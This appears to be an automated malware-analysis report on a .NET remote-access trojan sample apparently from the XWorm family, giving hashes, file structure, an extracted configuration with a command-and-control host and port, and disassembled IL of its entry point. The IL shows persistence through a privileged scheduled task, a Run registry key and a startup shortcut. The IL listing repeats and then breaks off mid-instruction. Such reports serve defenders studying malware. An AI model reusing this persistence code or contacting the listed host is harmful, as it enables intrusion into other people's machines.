Malicious
Malicious

81164b9cafbfd7a58091069c57a7dd7b

PE Executable
|
MD5: 81164b9cafbfd7a58091069c57a7dd7b
|
Size: 156.67 KB
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application/x-dosexec

Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
Hash Value
MD5
81164b9cafbfd7a58091069c57a7dd7b
Sha1
2a36f612a07e71afbce10d8a96a4e7ff23f85ef2
Sha256
c3c124bda96e655479b230254d4e6c827f0297c35e9c8023395e3b9240e59966
Sha384
044bbb48b7aa7e97a3727edc4f55c25ee82279ef4ea881897de525bbcb49c48afb1460a6bbcd3881c2910f34b5691184
Sha512
6af4ca1dfa477b604d3dc486ff4cc05ab6d606bb55b8d8de1457fe4cd0178a11433e12f1bd1a336207a386a3859704f49bd15234ec12bc61d162a0a510d58c64
SSDeep
1536:IhajjazM6qutEZdhvxVBDdbnYx0Z26PjzOLINsVdZchN1dHBsv03tneJxH:IAazeuGRvTbnM0BjzOs+VdZWNdE090H
TLSH
D1E3E51777998017E0AB5A704BB3A162C3EDEDD25801B4FB2CCF2A7A153F97089406BD

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

cCKfgTFbsMnrfCYg

Hosts

made-recruitment.gl.at.ply.gg

Port

38251

KEY

<666666>

USBNM

<XWormmm>

LoggerPath

%Temp%

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

SpecMenu.exe

Full Name

SpecMenu.exe

EntryPoint

System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::gQwJhYt4Fp8p6FFsjP84D5dxay1pz91V()

Scope Name

SpecMenu.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

SpecMenu

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

425

Main Method

System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::gQwJhYt4Fp8p6FFsjP84D5dxay1pz91V()

Main IL Instruction Count

319

Main IL

ldsfld System.Int32 gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::93ChyPPKtQUGcdcP9hCfeHk0w223qhrU ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ft77WaKj8oUrafwfvvueNkMwEBEpIjE1 call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ft77WaKj8oUrafwfvvueNkMwEBEpIjE1 ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::IraKzCoGPpRKjKIJK3TZmNXy2QTi2aiY call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::IraKzCoGPpRKjKIJK3TZmNXy2QTi2aiY ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ap4SLBxJgBeOdiUR0TyFy8XG0FxTHOjn call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ap4SLBxJgBeOdiUR0TyFy8XG0FxTHOjn ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::WIZAVvHvcIPT75THoFf1MPfaOugtoqqY call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::WIZAVvHvcIPT75THoFf1MPfaOugtoqqY ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::f2Jh0cz3ZrkHD8sVoDzJoqpsmeXsfi8g call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::f2Jh0cz3ZrkHD8sVoDzJoqpsmeXsfi8g ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::FG1ib7XvVoUBBsRaGIV2ywgfBBuOznQT call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::FG1ib7XvVoUBBsRaGIV2ywgfBBuOznQT ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::0S4MldSIaw7g0LQoKhaiBXBmx0YDGcso call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::0S4MldSIaw7g0LQoKhaiBXBmx0YDGcso ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt leave.s IL_00CB: call System.Boolean Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::qyNTaL8UfBIFzQ64Br45KdfpAjddh5UMmy4sEi5tOptYuFXIEL3eczxUeH9FPeoSR() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::qyNTaL8UfBIFzQ64Br45KdfpAjddh5UMmy4sEi5tOptYuFXIEL3eczxUeH9FPeoSR() call System.Boolean Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::qyNTaL8UfBIFzQ64Br45KdfpAjddh5UMmy4sEi5tOptYuFXIEL3eczxUeH9FPeoSR() brtrue.s IL_00D8: call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::pxD9qz6vHUuoHwFO0Qbo6AXV3piwd6eV() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::pxD9qz6vHUuoHwFO0Qbo6AXV3piwd6eV() leave.s IL_00EE: call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::sfCkB5ZVYe3jGXZfWZsadou4weNfqRNI() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::sfCkB5ZVYe3jGXZfWZsadou4weNfqRNI() call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::sfCkB5ZVYe3jGXZfWZsadou4weNfqRNI() ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::0S4MldSIaw7g0LQoKhaiBXBmx0YDGcso ldstr \ ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::0pVQqPrVbKgcR0z1reagyXNJI5YHQcjc8d6mxXPzw7OScwyUk2CqfBHziIUkL7VbI call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.UmYHvqgH3RXUs2a0Z0BKwuokZl6W86KM::ZTcVasAw8p7FudnCcDzc6m4w0m8WCDVh() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01DD: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0221: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0242: call My.SLPgHWKuyo1iaem3DrpgXWMJxxR51soB My.bSqrVD7h5oOzi2hnmzUNX55zwFONkrtq::9cH4bi3egB7VQwbZ5CkDkdZ7BXePRnWZ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0242: call My.SLPgHWKuyo1iaem3DrpgXWMJxxR51soB My.bSqrVD7h5oOzi2hnmzUNX55zwFONkrtq::9cH4bi3egB7VQwbZ5CkDkdZ7BXePRnWZ() call My.SLPgHWKuyo1iaem3DrpgXWMJxxR51soB My.bSqrVD7h5oOzi2hnmzUNX55zwFONkrtq::9cH4bi3egB7VQwbZ5CkDkdZ7BXePRnWZ() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_027D: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_027D: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0302: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::DvfSZCSJXtZG8BQuB7py6Kv7OsZH5gJe9aiksplMxbrSRAuqeMsELMP0x47NRNpmQ leave.s IL_0381: call System.Void Stub.lHTtGhF673TT2a3dgiovFBw0mC0hzmnz::X0dKFaRYHhun6AyUeNiT9W4hKibQIHaY() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0381: call System.Void Stub.lHTtGhF673TT2a3dgiovFBw0mC0hzmnz::X0dKFaRYHhun6AyUeNiT9W4hKibQIHaY() call System.Void Stub.lHTtGhF673TT2a3dgiovFBw0mC0hzmnz::X0dKFaRYHhun6AyUeNiT9W4hKibQIHaY() call System.Void Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::hGA5o4p5sQvMi2W0hdjdz2p8SkjaIF6lJDF5OO6vNd9kN8TAMjHsaeebNzcPjiPdr() ldnull <null> ldftn System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::YtDJEDCJ1AjNpqlJCQmiOKlIgOrPZF6Q() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.UmYHvqgH3RXUs2a0Z0BKwuokZl6W86KM::ZTcVasAw8p7FudnCcDzc6m4w0m8WCDVh() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03B2: ldnull call System.Void Stub.jHTaMWygosEFkeQIoqBqRuFC3x4z7BpK::k9RfrR3Hsskgk90wUAdHrONhxHVQFU15() ldnull <null> ldftn System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::i8rbWhh257rDnmDQEFdxW9gk0PxNqOzR() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::Gjy6B5EJyKUqrICe9bMz0SzQq9ebH7TZ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

SpecMenu.exe

Full Name

SpecMenu.exe

EntryPoint

System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::gQwJhYt4Fp8p6FFsjP84D5dxay1pz91V()

Scope Name

SpecMenu.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

SpecMenu

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

425

Main Method

System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::gQwJhYt4Fp8p6FFsjP84D5dxay1pz91V()

Main IL Instruction Count

319

Main IL

ldsfld System.Int32 gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::93ChyPPKtQUGcdcP9hCfeHk0w223qhrU ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ft77WaKj8oUrafwfvvueNkMwEBEpIjE1 call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ft77WaKj8oUrafwfvvueNkMwEBEpIjE1 ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::IraKzCoGPpRKjKIJK3TZmNXy2QTi2aiY call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::IraKzCoGPpRKjKIJK3TZmNXy2QTi2aiY ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ap4SLBxJgBeOdiUR0TyFy8XG0FxTHOjn call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::ap4SLBxJgBeOdiUR0TyFy8XG0FxTHOjn ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::WIZAVvHvcIPT75THoFf1MPfaOugtoqqY call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::WIZAVvHvcIPT75THoFf1MPfaOugtoqqY ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::f2Jh0cz3ZrkHD8sVoDzJoqpsmeXsfi8g call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::f2Jh0cz3ZrkHD8sVoDzJoqpsmeXsfi8g ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::FG1ib7XvVoUBBsRaGIV2ywgfBBuOznQT call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::FG1ib7XvVoUBBsRaGIV2ywgfBBuOznQT ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::0S4MldSIaw7g0LQoKhaiBXBmx0YDGcso call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::0S4MldSIaw7g0LQoKhaiBXBmx0YDGcso ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.Object Stub.HAXZJq0A58yUBLadnZ5HpuChXySqog0o::ayMyNeJlBQa10fFH50lfroE9QkqFIakr(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt leave.s IL_00CB: call System.Boolean Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::qyNTaL8UfBIFzQ64Br45KdfpAjddh5UMmy4sEi5tOptYuFXIEL3eczxUeH9FPeoSR() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::qyNTaL8UfBIFzQ64Br45KdfpAjddh5UMmy4sEi5tOptYuFXIEL3eczxUeH9FPeoSR() call System.Boolean Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::qyNTaL8UfBIFzQ64Br45KdfpAjddh5UMmy4sEi5tOptYuFXIEL3eczxUeH9FPeoSR() brtrue.s IL_00D8: call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::pxD9qz6vHUuoHwFO0Qbo6AXV3piwd6eV() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::pxD9qz6vHUuoHwFO0Qbo6AXV3piwd6eV() leave.s IL_00EE: call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::sfCkB5ZVYe3jGXZfWZsadou4weNfqRNI() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::sfCkB5ZVYe3jGXZfWZsadou4weNfqRNI() call System.Void Stub.nhM3GeSmJ2nAnMUfIVFgXQjlpGKEhVCV::sfCkB5ZVYe3jGXZfWZsadou4weNfqRNI() ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::0S4MldSIaw7g0LQoKhaiBXBmx0YDGcso ldstr \ ldsfld System.String gHYACIcJpC2LZwadBxhJ6BsMCTDu8byM::TWFvAfeQ0EWqejpxe75TK54X85xAAkmt call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0135: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_014C: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Tkkcy95GEwytMqmHGMhwtBc4BCq12RUG::0pVQqPrVbKgcR0z1reagyXNJI5YHQcjc8d6mxXPzw7OScwyUk2CqfBHziIUkL7VbI call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0177: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0177: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.UmYHvqgH3RXUs2a0Z0BKwuokZl6W86KM::ZTcVasAw8p7FudnCcDzc6m4w0m8WCDVh() call System.Boolean 